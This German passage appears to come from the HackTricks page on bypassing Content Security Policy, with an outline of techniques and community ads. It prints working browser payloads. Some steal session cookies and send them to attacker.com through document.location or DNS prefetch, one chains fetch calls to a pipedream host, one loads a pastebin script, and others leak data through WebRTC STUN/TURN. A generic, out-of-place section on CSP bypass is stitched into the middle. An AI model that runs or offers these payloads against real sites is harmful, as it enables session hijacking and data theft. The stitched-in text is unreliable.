JS Exfiltration mit Content-Security-Policy-Report-Only

Wenn es dir gelingt, den Server mit dem Header Content-Security-Policy-Report-Only und einem von dir kontrollierten Wert antworten zu lassen (vielleicht aufgrund eines CRLF), könntest du ihn dazu bringen, auf deinen Server zu verweisen. Wenn du den JS-Inhalt, den du exfiltrieren möchtest, mit <script> umschließt und da unsafe-inline höchstwahrscheinlich nicht durch die CSP erlaubt ist, wird dies einen CSP-Fehler auslösen und ein Teil des Skripts (der sensible Informationen enthält) wird über Content-Security-Policy-Report-Only an den Server gesendet.

Für ein Beispiel siehe dieses CTF-Writeup.

CVE-2020-6519

document.querySelector('DIV').innerHTML="<iframe src='javascript:var s = document.createElement(\"script\");s.src = \"https://pastebin.com/raw/dw5cWGK6\";document.body.appendChild(s);'></iframe>";

Offenlegung von Informationen mit CSP und Iframe

Es wird ein iframe erstellt, das auf eine URL verweist (nennen wir sie https://example.redirect.com), die von CSP erlaubt ist.
Diese URL leitet dann auf eine geheime URL um (zum Beispiel https://usersecret.example2.com), die nicht von CSP erlaubt ist.
Durch das Abhören des securitypolicyviolation-Ereignisses kann die Eigenschaft blockedURI erfasst werden. Diese Eigenschaft gibt die Domain der blockierten URI preis und gibt die geheime Domain preis, zu der die ursprüngliche URL umgeleitet wurde.

Interessant ist, dass Browser wie Chrome und Firefox unterschiedliche Verhaltensweisen beim Umgang mit Iframes im Hinblick auf CSP haben, was zu potenziellen Lecks sensibler Informationen aufgrund undefinierter Verhaltensweisen führen kann.

Eine weitere Technik besteht darin, die CSP selbst auszunutzen, um die geheime Subdomain abzuleiten. Diese Methode basiert auf einem binären Suchalgorithmus und der Anpassung der CSP, um spezifische Domains einzuschließen, die absichtlich blockiert sind. Wenn die geheime Subdomain beispielsweise aus unbekannten Zeichen besteht, können Sie iterativ verschiedene Subdomains testen, indem Sie die CSP-Richtlinie ändern, um diese Subdomains zu blockieren oder zuzulassen. Hier ist ein Ausschnitt, der zeigt, wie die CSP eingerichtet werden könnte, um diese Methode zu erleichtern:

img-src https://chall.secdriven.dev https://doc-1-3213.secdrivencontent.dev https://doc-2-3213.secdrivencontent.dev ... https://doc-17-3213.secdriven.dev

Durch Überwachung, welche Anfragen vom CSP blockiert oder zugelassen werden, kann man die möglichen Zeichen in der geheimen Subdomain eingrenzen und letztendlich die vollständige URL aufdecken.

Beide Methoden nutzen die Feinheiten der CSP-Implementierung und des Verhaltens in Browsern aus und zeigen, wie scheinbar sichere Richtlinien versehentlich sensible Informationen preisgeben können.

Trick von hier.

Treten Sie dem HackenProof Discord Server bei, um mit erfahrenen Hackern und Bug-Bounty-Jägern zu kommunizieren!

Hacking-Einblicke
Beschäftigen Sie sich mit Inhalten, die sich mit dem Nervenkitzel und den Herausforderungen des Hackens befassen

Echtzeit-Hack-News
Bleiben Sie mit der schnelllebigen Welt des Hackens durch Echtzeitnachrichten und Einblicke auf dem Laufenden

Neueste Ankündigungen
Bleiben Sie über die neuesten Bug-Bounties und wichtige Plattformupdates informiert

Treten Sie uns bei Discord bei und beginnen Sie noch heute mit Top-Hackern zusammenzuarbeiten!

Unsichere Technologien zum Umgehen von CSP

PHP-Fehler bei zu vielen Parametern

Gemäß der letzten Technik, die in diesem Video kommentiert wurde, werden zu viele Parameter gesendet (1001 GET-Parameter, obwohl dies auch mit POST-Parametern und mehr als 20 Dateien möglich ist). Jedes definierte header() im PHP-Webcode wird nicht gesendet, da der dadurch ausgelöste Fehler dies verhindert.

Überlastung des PHP-Antwortpuffers

PHP puffert standardmäßig die Antwort auf 4096 Bytes. Wenn PHP also eine Warnung anzeigt, indem genügend Daten in den Warnungen bereitgestellt werden, wird die Antwort vor dem CSP-Header gesendet, was dazu führt, dass der Header ignoriert wird.
Daher besteht die Technik im Wesentlichen darin, den Antwortpuffer mit Warnungen zu füllen, damit der CSP-Header nicht gesendet wird.

Idee von diesem Writeup.

Fehlerseite umschreiben

Laut diesem Writeup war es möglich, eine CSP-Schutzmaßnahme zu umgehen, indem eine Fehlerseite geladen (potenziell ohne CSP) und ihr Inhalt umgeschrieben wurde.

a = window.open('/' + 'x'.repeat(4100));
setTimeout(function() {
a.document.body.innerHTML = `<img src=x onerror="fetch('https://filesharing.m0lec.one/upload/ffffffffffffffffffffffffffffffff').then(x=>x.text()).then(x=>fetch('https://enllwt2ugqrt.x.pipedream.net/'+x))">`;
}, 1000);

SOME + 'self' + wordpress

SOME ist eine Technik, die einen XSS (oder stark eingeschränkten XSS) in einem Endpunkt einer Seite ausnutzt, um andere Endpunkte derselben Herkunft zu missbrauchen. Dies wird erreicht, indem der verwundbare Endpunkt von einer Angreiferseite geladen und dann die Angreiferseite zum echten Endpunkt in derselben Herkunft aktualisiert wird, den Sie missbrauchen möchten. Auf diese Weise kann der verwundbare Endpunkt das opener-Objekt im Payload verwenden, um auf den DOM des echten Endpunkts zuzugreifen, um ihn zu missbrauchen. Weitere Informationen finden Sie unter:

{% content-ref url="../xss-cross-site-scripting/some-same-origin-method-execution.md" %} some-same-origin-method-execution.md {% endcontent-ref %}

Darüber hinaus verfügt wordpress über einen JSONP-Endpunkt unter /wp-json/wp/v2/users/1?_jsonp=data, der die gesendeten Daten im Ausgabewert reflektiert (mit der Einschränkung, dass nur Buchstaben, Zahlen und Punkte erlaubt sind).

Ein Angreifer kann diesen Endpunkt missbrauchen, um einen SOME-Angriff gegen WordPress zu generieren und ihn innerhalb von <script src=/wp-json/wp/v2/users/1?_jsonp=some_attack></script> einzubetten. Beachten Sie, dass dieses Skript geladen wird, weil es von 'self' erlaubt ist. Darüber hinaus und weil WordPress installiert ist, könnte ein Angreifer den SOME-Angriff über den verwundbaren Callback-Endpunkt missbrauchen, der die CSP umgeht, um einem Benutzer mehr Rechte zu geben, ein neues Plugin zu installieren...
Weitere Informationen dazu, wie dieser Angriff durchgeführt wird, finden Sie unter https://octagon.net/blog/2022/05/29/bypass-csp-using-wordpress-by-abusing-same-origin-method-execution/

CSP-Exfiltration-Bypasses

Wenn eine strenge CSP vorhanden ist, die es Ihnen nicht erlaubt, mit externen Servern zu interagieren, gibt es einige Dinge, die Sie immer tun können, um die Informationen zu exfiltrieren.

Location

Sie könnten einfach den Standort aktualisieren, um dem Server des Angreifers die geheimen Informationen zu senden:

var sessionid = document.cookie.split('=')[1]+".";
document.location = "https://attacker.com/?" + sessionid;

Meta-Tag

Sie könnten eine Weiterleitung durch das Einfügen eines Meta-Tags erreichen (dies ist lediglich eine Weiterleitung, es wird kein Inhalt preisgegeben)

<meta http-equiv="refresh" content="1; http://attacker.com">

DNS Prefetch

Um Seiten schneller zu laden, werden Browser Hostnamen in IP-Adressen aufgelöst und zwischengespeichert.
Sie können einem Browser anzeigen, einen Hostnamen vorab aufzulösen mit: <link rel="dns-prefetch" href="something.com">

Sie könnten dieses Verhalten missbrauchen, um sensible Informationen über DNS-Anfragen zu exfiltrieren:

var sessionid = document.cookie.split('=')[1]+".";
var body = document.getElementsByTagName('body')[0];
body.innerHTML = body.innerHTML + "<link rel=\"dns-prefetch\" href=\"//" + sessionid + "attacker.ch\">";

Umgehung von Content Security Policy (CSP)

Einführung

In einigen Fällen kann es erforderlich sein, die Content Security Policy (CSP) einer Webseite zu umgehen, um bestimmte Aktionen auszuführen, die durch die CSP blockiert werden. Dieser Artikel beschreibt verschiedene Techniken zur Umgehung von CSP-Maßnahmen.

Bypass durch Inline JavaScript

Eine Möglichkeit, die CSP zu umgehen, besteht darin, Inline-JavaScript-Code zu verwenden. Dies kann durch das Ausnutzen von XSS-Schwachstellen oder anderen Techniken erreicht werden.

Bypass durch Inline Styles

Ähnlich wie bei Inline-JavaScript können auch Inline-Styles verwendet werden, um die CSP zu umgehen. Durch das direkte Einbetten von CSS-Stilen in HTML-Elemente können bestimmte Einschränkungen umgangen werden.

Bypass durch Data-URI

Die Verwendung von Data-URIs ist eine weitere Möglichkeit, die CSP zu umgehen. Durch das Einbetten von Ressourcen direkt in den HTML-Code können bestimmte CSP-Richtlinien umgangen werden.

Weitere Umgehungstechniken

Es gibt auch andere fortgeschrittenere Techniken zur Umgehung von CSP, wie z.B. die Verwendung von JSONP, Host-Whitelisting-Bypass und die Ausnutzung von Browser-Schwachstellen.

Fazit

Die Umgehung von CSP-Maßnahmen erfordert ein tiefes Verständnis der Funktionsweise von CSP und der verschiedenen Techniken zur Umgehung. Es ist wichtig, diese Techniken zu kennen, um Sicherheitslücken in Webanwendungen zu identifizieren und zu beheben.

const linkEl = document.createElement('link');
linkEl.rel = 'prefetch';
linkEl.href = urlWithYourPreciousData;
document.head.appendChild(linkEl);

Um dies zu vermeiden, kann der Server den HTTP-Header senden:

X-DNS-Prefetch-Control: off

{% hint style="info" %} Anscheinend funktioniert diese Technik nicht in headless Browsern (Bots). {% endhint %}

WebRTC

Auf mehreren Seiten kann man lesen, dass WebRTC die connect-src-Richtlinie des CSP nicht überprüft.

Tatsächlich können Informationen mithilfe einer DNS-Anfrage geleakt werden. Schau dir diesen Code an:

(async()=>{p=new RTCPeerConnection({iceServers:[{urls: "stun:LEAK.dnsbin"}]});p.createDataChannel('');p.setLocalDescription(await p.createOffer())})()

Eine weitere Option:

var pc = new RTCPeerConnection({
"iceServers":[
{"urls":[
"turn:74.125.140.127:19305?transport=udp"
],"username":"_all_your_data_belongs_to_us",
"credential":"."
}]
});
pc.createOffer().then((sdp)=>pc.setLocalDescription(sdp);

Überprüfung von CSP-Richtlinien online

Automatisches Erstellen von CSP

https://csper.io/docs/generating-content-security-policy

Referenzen

Treten Sie dem HackenProof Discord Server bei, um mit erfahrenen Hackern und Bug-Bounty-Jägern zu kommunizieren!

Hacking Insights
Beschäftigen Sie sich mit Inhalten, die sich mit dem Nervenkitzel und den Herausforderungen des Hackens befassen

Echtzeit-Hack-News
Bleiben Sie mit der schnelllebigen Hacking-Welt durch Echtzeitnachrichten und Einblicke auf dem Laufenden

Neueste Ankündigungen
Bleiben Sie über die neuesten Bug-Bounties und wichtige Plattformupdates informiert

Treten Sie uns bei Discord bei und beginnen Sie noch heute mit Top-Hackern zusammenzuarbeiten!

Erlernen Sie AWS-Hacking von Null auf Held mit htARTE (HackTricks AWS Red Team Expert)!

Andere Möglichkeiten, HackTricks zu unterstützen:

Wenn Sie Ihr Unternehmen in HackTricks beworben sehen möchten oder HackTricks in PDF herunterladen möchten, überprüfen Sie die ABONNEMENTPLÄNE!
Holen Sie sich das offizielle PEASS & HackTricks-Merch
Entdecken Sie The PEASS Family, unsere Sammlung exklusiver NFTs
Treten Sie der 💬 Discord-Gruppe oder der Telegram-Gruppe bei oder folgen Sie uns auf Twitter 🐦 @carlospolopm.
Teilen Sie Ihre Hacking-Tricks, indem Sie PRs an die HackTricks und HackTricks Cloud GitHub-Repositories einreichen.

README.md Unescape Escape

Content Security Policy (CSP) Umgehung

Was ist CSP

Überschriften

Definieren von Ressourcen

Direktiven

Quellen

Unsichere CSP-Regeln

'unsafe-inline'

self + 'unsafe-inline' über Iframes

'unsafe-eval'

strict-dynamic

Wildcard (*)

Fehlen von object-src und default-src

Datei-Upload + 'self'

Formularaktion

Endpunkte von Drittanbietern + ('unsafe-eval')

Payloads mit Angular + einer Bibliothek mit Funktionen, die das window-Objekt zurückgeben (siehe diesen Beitrag):

Ausnutzung des Google reCAPTCHA-JS-Codes

Ausnutzung von www.google.com für offene Weiterleitungen

Drittanbieter-Endpunkte + JSONP

Missbräuche von Drittanbietern

Umgehung über RPO (Relative Path Overwrite)

Iframes-JS-Ausführung

fehlendes base-uri

AngularJS Ereignisse

AngularJS und whitelistet Domain

Umgehung über Weiterleitung

Umgehen von CSP mit hängender Markup

'unsafe-inline'; img-src *; über XSS

Mit Service-Workern

Richtlinieninjektion

Chrome

Edge

img-src *; via XSS (iframe) - Zeitangriff

Über Bookmarklets

CSP-Umgehung durch Beschränkung der CSP

JS Exfiltration mit Content-Security-Policy-Report-Only

CVE-2020-6519

Offenlegung von Informationen mit CSP und Iframe

Unsichere Technologien zum Umgehen von CSP

PHP-Fehler bei zu vielen Parametern

Überlastung des PHP-Antwortpuffers

Fehlerseite umschreiben

SOME + 'self' + wordpress

CSP-Exfiltration-Bypasses

Location

Meta-Tag

DNS Prefetch

Umgehung von Content Security Policy (CSP)

Einführung

Bypass durch Inline JavaScript

Bypass durch Inline Styles

Bypass durch Data-URI

Weitere Umgehungstechniken

Fazit

WebRTC

Überprüfung von CSP-Richtlinien online

Automatisches Erstellen von CSP

Referenzen

README.md

Payloads mit Angular + einer Bibliothek mit Funktionen, die das `window`-Objekt zurückgeben (siehe diesen Beitrag):